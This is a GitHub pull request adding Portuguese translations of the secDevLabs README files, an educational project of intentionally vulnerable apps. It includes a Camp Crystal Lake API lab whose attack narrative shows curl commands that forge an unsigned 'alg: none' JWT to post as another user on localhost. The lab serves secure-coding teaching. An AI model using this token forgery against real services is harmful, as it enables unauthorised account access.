-
Notifications
You must be signed in to change notification settings - Fork 423
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Traduções #591
Open
juliajamile
wants to merge
87
commits into
globocom:master
Choose a base branch
from
juliajamile:Traduções
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
The head ref may contain hidden characters: "Tradu\u00E7\u00F5es"
Open
Traduções #591
Changes from all commits
Commits
Show all changes
87 commits
Select commit
Hold shift + click to select a range
a4a717e
Create README_PT_BR.md
juliajamile 8d952ff
Update README_PT_BR.md
juliajamile 7f37896
Update README.md
juliajamile 1822c63
Update README.md
juliajamile e13c48b
Create README_PT_BR.md
juliajamile 05dbc5a
Update README.md
juliajamile 19a1bd7
Update README_PT_BR.md
juliajamile f7c8f2a
Update README_PT_BR.md
juliajamile 59bd2f5
Update README.md
juliajamile 3250349
Create README_PT_BR.md
juliajamile 696ec81
Update README_PT_BR.md
juliajamile 06fc4b2
Update README.md
juliajamile 693a16e
Update README.md
juliajamile de24f89
Update README_PT_BR.md
juliajamile 628b097
Update README_PT_BR.md
juliajamile 19c80d0
Update README.md
juliajamile 83c2e5a
Create README_PT_BR.md
juliajamile 0fe69e6
Create README_PT_BR.md
juliajamile dd6c37d
Delete README_PT_BR.md
juliajamile 5e32e07
Update README_PT_BR.md
juliajamile 9bc7a82
Update README_PT_BR.md
juliajamile 6b3d3b1
Update README.md
juliajamile a682d92
Update README.md
juliajamile 39314ef
Create README_PT_BR.md
juliajamile d471213
Update README_PT_BR.md
juliajamile 3ea5bee
Update README_PT_BR.md
juliajamile bc084e5
Update README_PT_BR.md
juliajamile 1c28cb6
Update README_PT_BR.md
juliajamile fb748fe
Update README.md
juliajamile dee4ca9
Update README_PT_BR.md
juliajamile a58213b
Update README_PT_BR.md
juliajamile 5f1b0f5
Update README_PT_BR.md
juliajamile 688925e
Update README.md
juliajamile 934a2aa
Create README_PT_BR.md
juliajamile 1b1ee0c
Update README_PT_BR.md
juliajamile f4d5650
Update README_PT_BR.md
juliajamile 34450a8
Update README_PT_BR.md
juliajamile 9777269
Update README_PT_BR.md
juliajamile ca32816
Update README_PT_BR.md
juliajamile 317fc1b
Update README_PT_BR.md
juliajamile 8ec0e81
Update README_PT_BR.md
juliajamile 60a7375
Update README.md
juliajamile bb1737c
Update README_PT_BR.md
juliajamile f2d4c5c
Create README_PT_BR.md
juliajamile 11272b2
Update README.md
juliajamile 752d311
Create README_PT_BR.md
juliajamile 5f7fec5
Update README_PT_BR.md
juliajamile 4817b9e
Update README_PT_BR.md
juliajamile 9ef977c
Update README_PT_BR.md
juliajamile eb184db
Update README_PT_BR.md
juliajamile 47a1e64
Update README_PT_BR.md
juliajamile 62e63d8
Update README.md
juliajamile 34256ca
Create README_PT_BR.md
juliajamile a8989e2
Update README.md
juliajamile 5ad0a99
Update README_PT_BR.md
juliajamile 8d54b52
Create README_PT_BR.md
juliajamile ed78968
Update README_PT_BR.md
juliajamile 99f5240
Update README.md
juliajamile 77a2f56
Create README_PT_BR.md
juliajamile a3e88b9
Update README.md
juliajamile 9e0423e
Create README_PT_BR.md
juliajamile abbcd31
Update README.md
juliajamile c8c57e7
Create README_PT_BR.md
juliajamile 38f3486
Update README.md
juliajamile de7e907
Update README_PT_BR.md
juliajamile 95f98b8
Create README_PT_BR.md
juliajamile ef8f6d4
Update README.md
juliajamile 038628f
Create README_PT_BR.md
juliajamile 39f22a1
Update README.md
juliajamile 0c1ccdf
Create README_PT_BR.md
juliajamile c6c614e
Update README_PT_BR.md
juliajamile 4acf670
Update README.md
juliajamile 48195f4
Create README_PT_BR.md
juliajamile b8f8563
Update README.md
juliajamile a86a2df
Create README_PT_BR.md
juliajamile fdebfb6
Update README.md
juliajamile 22ed9f9
Update README_PT_BR.md
juliajamile 757bb13
Create README_PT_BR.md
juliajamile f458c5e
Update README.md
juliajamile 5902f85
Update README_PT_BR.md
juliajamile c345e4d
Create README_PT_BR.md
juliajamile d58a7ff
adcionando badge - testando permissao
henriporto ac98a78
correções na trdução readme inicial
henriporto ec1262a
adding language badge
henriporto d473962
Update README_PT_BR.md
juliajamile f923242
Update README_PT_BR.md
juliajamile 8d19996
Fazendo as correções nas traduções
juliajamileg File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,74 @@ | ||
<p align="center"> | ||
<img src="images/secDevLabs-logo.png" allign="center" height=""/> | ||
<!-- logo font: Agency FB Bold Condensed --> | ||
</p> | ||
|
||
<p align="center"> | ||
Laboratório para aprender desenvolvimento web e mobile seguro de forma prática. | ||
</p> | ||
|
||
<p align="center"> | ||
<a href="https://github.com/globocom/secDevLabs/blob/master/docs/CONTRIBUTING.md"><img height="24" src="https://img.shields.io/badge/PRs-Welcome-brightgreen"/></a> | ||
<a href="https://gitter.im/secDevLabs/community"><img height="24" src="https://badges.gitter.im/secDevLabs/community.svg"/></a> | ||
<a href="README.md"><img height="24" title="Access content in English" src="https://img.shields.io/badge/Access%20content%20in-English-blue"/></a> | ||
</p> | ||
|
||
## Construa seu ambiente | ||
|
||
Ao usar esse laborátorio em um ambiente local via docker-compose, você aprenderá como os riscos de segurança mais críticos, de aplicativos da Web, são explorados. Além de como esses códigos vulneráveis podem ser corrigidos para que as ameaças sejam mitigadas. 👩💻 | ||
|
||
## Por onde começar? | ||
|
||
Depois de dar "forking" neste repositório, você encontrará vários aplicativos propositalmente vulneráveis com base em cenários da vida real em várias linguagens, como Golang, Python e PHP. Um bom começo seria instalar aqueles com os quais você está mais familiarizado. Você pode encontrar instruções para fazer isso em cada um dos aplicativos. 💡 | ||
|
||
Cada um desses aplicativos tem uma seção `Narrativa de ataque` que descreve como um invasor exploraria a vulnerabilidade correspondente. Antes de procurar a vulnerabilidade ou ler qualquer código, pode ser uma boa ideia seguir as etapas da seção 'Narativa de ataque' para que você possa entender melhor o ataque. 💉 | ||
|
||
Agora é hora de proteger o aplicativo! Imagine que este é o seu aplicativo e você precisa corrigir as falhas! Sua missão é escrever novos códigos que eliminem as falhas encontradas e enviar um novo Pull Request para implantar um aplicativo seguro! 🔐 | ||
|
||
## Quão seguro é o meu novo código? | ||
|
||
Depois de corrigir uma vulnerabilidade, você pode enviar um Pull Request para solicitar gentilmente à comunidade secDevLabs que revise seus novos códigos seguros. Se você está se sentindo um pouco perdido, tente dar uma olhada nas soluções já enviadas, pode ser que elas o ajudem! 🚀 | ||
|
||
## OWASP Top 10 (2021) Apps: 💻 | ||
|
||
Isenção de responsabilidade: você está prestes a instalar aplicativos vulneráveis em sua máquina! 🔥 | ||
|
||
| Vulnerabilidade | Linguagem | App | | ||
| ----------------------------------------------------| -------------- | ------------------------------------------------------------------------------ | | ||
| A1 - Quebra de controle de acesso | Golang | [Vulnerable Ecommerce API](owasp-top10-2021-apps/a1/ecommerce-api) | | ||
| A1 - Quebra de controle de acesso | NodeJS | [Tic-Tac-Toe](owasp-top10-2021-apps/a1/tictactoe) | | ||
| A1 - Quebra de controle de acesso | Golang | [Camplake-API](owasp-top10-2021-apps/a1/camplake-api) | | ||
| A2 - Falhas criptográficas. | Golang | [SnakePro](owasp-top10-2021-apps/a2/snake-pro) | | ||
| A3 - Injeção | Golang | [CopyNPaste API](owasp-top10-2021-apps/a3/copy-n-paste) | | ||
| A3 - Injeção | NodeJS | [Mongection](owasp-top10-2021-apps/a3/mongection) | | ||
| A3 - Injeção | Python | [SSType](owasp-top10-2021-apps/a3/sstype) | | ||
| A3 - Injeção (XSS) | Python | [Gossip World](owasp-top10-2021-apps/a3/gossip-world) | | ||
| A3 - Injeção (XSS) | React | [Comment Killer](owasp-top10-2021-apps/a3/comment-killer) | | ||
| A3 - Injeção (XSS) | Angular/Spring | [Streaming](owasp-top10-2021-apps/a3/streaming) | | ||
| A5 - Configuração Insegura (XXE) | PHP | [ViniJr Blog](owasp-top10-2021-apps/a5/vinijr-blog) | | ||
| A5 - Configuração Insegura | PHP | [Vulnerable Wordpress Misconfig](owasp-top10-2021-apps/a5/misconfig-wordpress) | | ||
| A5 - Configuração Insegura | NodeJS | [Stegonography](owasp-top10-2021-apps/a5/stegonography) | | ||
| A6 - Componentes desatualizados e vulneráveis | PHP | [Cimentech](owasp-top10-2021-apps/a6/cimentech) | | ||
| A6 - Componentes desatualizados e vulneráveis | Python | [Golden Hat Society](owasp-top10-2021-apps/a6/golden-hat) | | ||
| A7 - Falha de Identidade e Autenticação | Python | [Saidajaula Monster Fit](owasp-top10-2021-apps/a7/saidajaula-monster) | | ||
| A7 - Falha de Identidade e Autenticação | Golang | [Insecure go project](owasp-top10-2021-apps/a7/insecure-go-project) | | ||
| A8 - Falha na Integridade de Dados e Software | Python | [Amarelo Designs](owasp-top10-2021-apps/a8/amarelo-designs) | | ||
| A9 - Monitoramento de Falhas e Logs de Segurança| Python | [GamesIrados.com](owasp-top10-2021-apps/a9/games-irados) | | ||
|
||
## OWASP Top 10 (2016) Mobile Apps: 📲 | ||
|
||
Isenção de responsabilidade: você está prestes a instalar aplicativos vulneráveis em sua máquina! 🔥 | ||
|
||
| Vulnerabilidade | Linguagem | App | | ||
| ---------------------------------------- | ------------ | --------------------------------------------------- | | ||
| M2 - Armazenamento de dados inseguro | Dart/Flutter | [Cool Games](owasp-top10-2016-mobile/m2/cool_games) | | ||
| M4 - Autenticação insegura | Dart/Flutter | [Note Box](owasp-top10-2016-mobile/m4/note-box) | | ||
| M5 - Criptografia insuficiente | Dart/Flutter | [Panda Zap](owasp-top10-2016-mobile/m5/panda_zap) | | ||
|
||
## Contribuindo | ||
|
||
Nós encorajamos você a contribuir com o SecDevLabs! Consulte a seção [Contribuindo para o SecDevLabs](/docs/CONTRIBUTING.md) para obter orientações sobre como contribuir! 🎉 | ||
|
||
## Licença | ||
|
||
Este projeto está licenciado sob a Licença BSD 3-Clause 'Nova' ou 'Revisada' - leia o arquivo LICENSE.md para obter detalhes. 📖 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,132 @@ | ||
|
||
|
||
# Camp Crystal Lake API | ||
|
||
<p align="center"> | ||
<img src="images/camplake.png" width="400" height="400"/></br> | ||
<a href="README.md"><img height="24" title="Access content in English" src="https://img.shields.io/badge/Access%20content%20in-English-blue"/></a> | ||
</p> | ||
|
||
A API do Camp Crystal Lake é um aplicativo web simples em Golang que contém um exemplo de vulnerabilidade de Quebra de Controle de Acesso e seu principal objetivo é descrever como um usuário mal-intencionado pode explorá-lo. | ||
|
||
## Index | ||
|
||
- [Definição](#o-que-é-quebra-de-controle-de-acesso) | ||
- [Como inicializar o aplicativo?](#como-inicializar-o-aplicativo) | ||
- [Narrativa de ataque](#narrativa-de-ataque) | ||
- [Objetivos](#proteger-este-aplicativo) | ||
- [Soluções](#pr-soluções) | ||
- [Contribuição](#contribuição) | ||
|
||
## O que é quebra de controle de acesso? | ||
|
||
O controle de acesso impõe a política de forma que os usuários não possam agir fora de suas permissões pretendidas. As falhas geralmente levam à divulgação, modificação ou destruição de informações não autorizada dos dados ou à execução de uma função fora dos limites de acesso do usuário. | ||
|
||
Os invasores podem explorar essas falhas para acessar funcionalidades e/ou dados não autorizados, como acesso a contas de outros usuários, visualizar arquivos confidenciais, modificar dados de outros usuários, alterar direitos de acesso, etc. | ||
|
||
O principal objetivo deste aplicativo é discutir como as vulnerabilidades da **Quebra de Controle de Acesso** podem ser exploradas e incentivar os desenvolvedores a enviar Pull Requests ao **SecDevLabs** apresentando como eles corrigiriam essas falhas. | ||
|
||
## Como inicializar o aplicativo? | ||
|
||
Para iniciar este aplicativo **intencionalmente inseguro**, você precisará do [Docker][Docker Install] e do [Docker Compose][Docker Compose Install]. Depois de clonar o repositório [secDevLabs](https://github.com/globocom/secDevLabs), no seu computador, você deve digitar os seguintes comandos para iniciar o aplicativo: | ||
|
||
```sh | ||
cd secDevLabs/owasp-top10-2021-apps/a1/camp-lake-api | ||
``` | ||
|
||
```sh | ||
make install | ||
``` | ||
|
||
Depois é só visitar [localhost:20001][App] ! 😆 | ||
|
||
## Conheça o app 💵 | ||
|
||
Para entender corretamente como esse aplicativo funciona, você pode seguir esse passo a passo: | ||
|
||
- Registrar um usuário; | ||
- Realizar um login; | ||
- Criar um novo post. | ||
|
||
## Narrativa de ataque | ||
|
||
Agora que você conhece o propósito deste aplicativo, o que pode dar errado? A seção a seguir descreve como um invasor pode identificar e, eventualmente, encontrar informações confidenciais sobre o aplicativo ou seus usuários. Recomendamos que você siga estas etapas e tente reproduzi-las por conta própria para entender melhor o ataque! 😜 | ||
|
||
### 👀 | ||
|
||
#### A validação incorreta do JWT, permite que usuários mal-intencionados criem tokens falsos e abusem da não validação do JWT. Um exemplo da não validação do JWT é não validar o algoritmo de assinatura usado. | ||
|
||
Para entender melhor como a API funciona, criaremos um novo usuário. | ||
|
||
Para este exemplo, criamos o usuário com as seguintes credenciais de login - `campLakeAdmin:campLake2021` | ||
|
||
```sh | ||
curl -s -H "Content-Type: application/json" -d '{"username":"campLakeAdmin","password":"campLake2021"}' http://localhost:20001/register | ||
``` | ||
|
||
<p align="center"> | ||
<img src="images/attack_1.png"/> | ||
</p> | ||
|
||
Com o usuário criado, faremos login no aplicativo com suas credenciais para obter o token JWT. Por se tratar de um aplicativo de teste, o token JWT é devolvido ao usuário assim que ele efetua o login. | ||
|
||
```sh | ||
curl -s -H "Content-Type: application/json" -d '{"username":"campLakeAdmin","password":"campLake2021"}' http://localhost:20001/login | ||
``` | ||
|
||
<p align="center"> | ||
<img src="images/attack_2.png"/> | ||
</p> | ||
|
||
<p align="center"> | ||
<img src="images/attack_4.png"/> | ||
</p> | ||
|
||
De posse do token JWT, podemos criar um novo post na API, fazendo uma requisição POST diretamente para a rota autenticada `newPost`. | ||
|
||
```sh | ||
curl -s -H 'Content-Type: application/json' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNhbXBMYWtlQWRtaW4iLCJleHAiOjE2MzMzODI5MzR9.aW4BTVuXaozSbF6EAJfRNsApRA_1hfk2OhaLAo250Uo' -d '{"title": "New member ", "post": "Today a new member ..."}' http://localhost:20001/newpost | ||
``` | ||
|
||
<p align="center"> | ||
<img src="images/attack_3.png"/> | ||
</p> | ||
|
||
### 🔥 | ||
|
||
Porém, a API não verifica a assinatura utilizada pelo token JWT, qualquer usuário malicioso pode criar um token falso, conforme mostra a imagem: | ||
|
||
<p align="center"> | ||
<img src="images/attack_5.png"/> | ||
</p> | ||
|
||
```sh | ||
curl -s -H 'Content-Type: application/json' -H 'Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6Imphc29uVm9vcmhlc3MiLCJleHAiOjE2MzMzODM1ODZ9.' -d '{"title": "New member ", "post": "Today a new member ..."}' http://localhost:20001/newpost | ||
``` | ||
|
||
<p align="center"> | ||
<img src="images/attack_6.png"/> | ||
</p> | ||
|
||
|
||
## Proteger este aplicativo | ||
|
||
Como você arrumaria essa vulnerabilidade? Após suas alterações, um invasor não poderá: | ||
|
||
* Usar tokens falsos sem uma assinatura válida. | ||
* Alterar outros usuários por meio da manipulação do JWT. | ||
|
||
## PR Soluções | ||
|
||
[Alerta de spoiler 🚨 ] Para entender como essa vulnerabilidade pode ser resolvida, confira [esses pull requests](https://github.com/globocom/secDevLabs/labels/Camplake-API)! | ||
|
||
## Contribuição | ||
|
||
Nós encorajamos você a contribuir com o SecDevLabs! Por favor, confira a seção [Contribuição no SecDevLabs](../../../docs/CONTRIBUTING.md) de como fazer a sua contribuição! 🎉 🎉 | ||
|
||
|
||
[Docker Install]: https://docs.docker.com/install/ | ||
[Docker Compose Install]: https://docs.docker.com/compose/install/ | ||
[App]: http://localhost:10005 | ||
[secDevLabs]: https://github.com/globocom/secDevLabs | ||
[2]:https://github.com/globocom/secDevLabs/tree/master/owasp-top10-2017-apps/a5/ecommerce-api |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
acredito que ficaria melhor trocar isso:
por isso: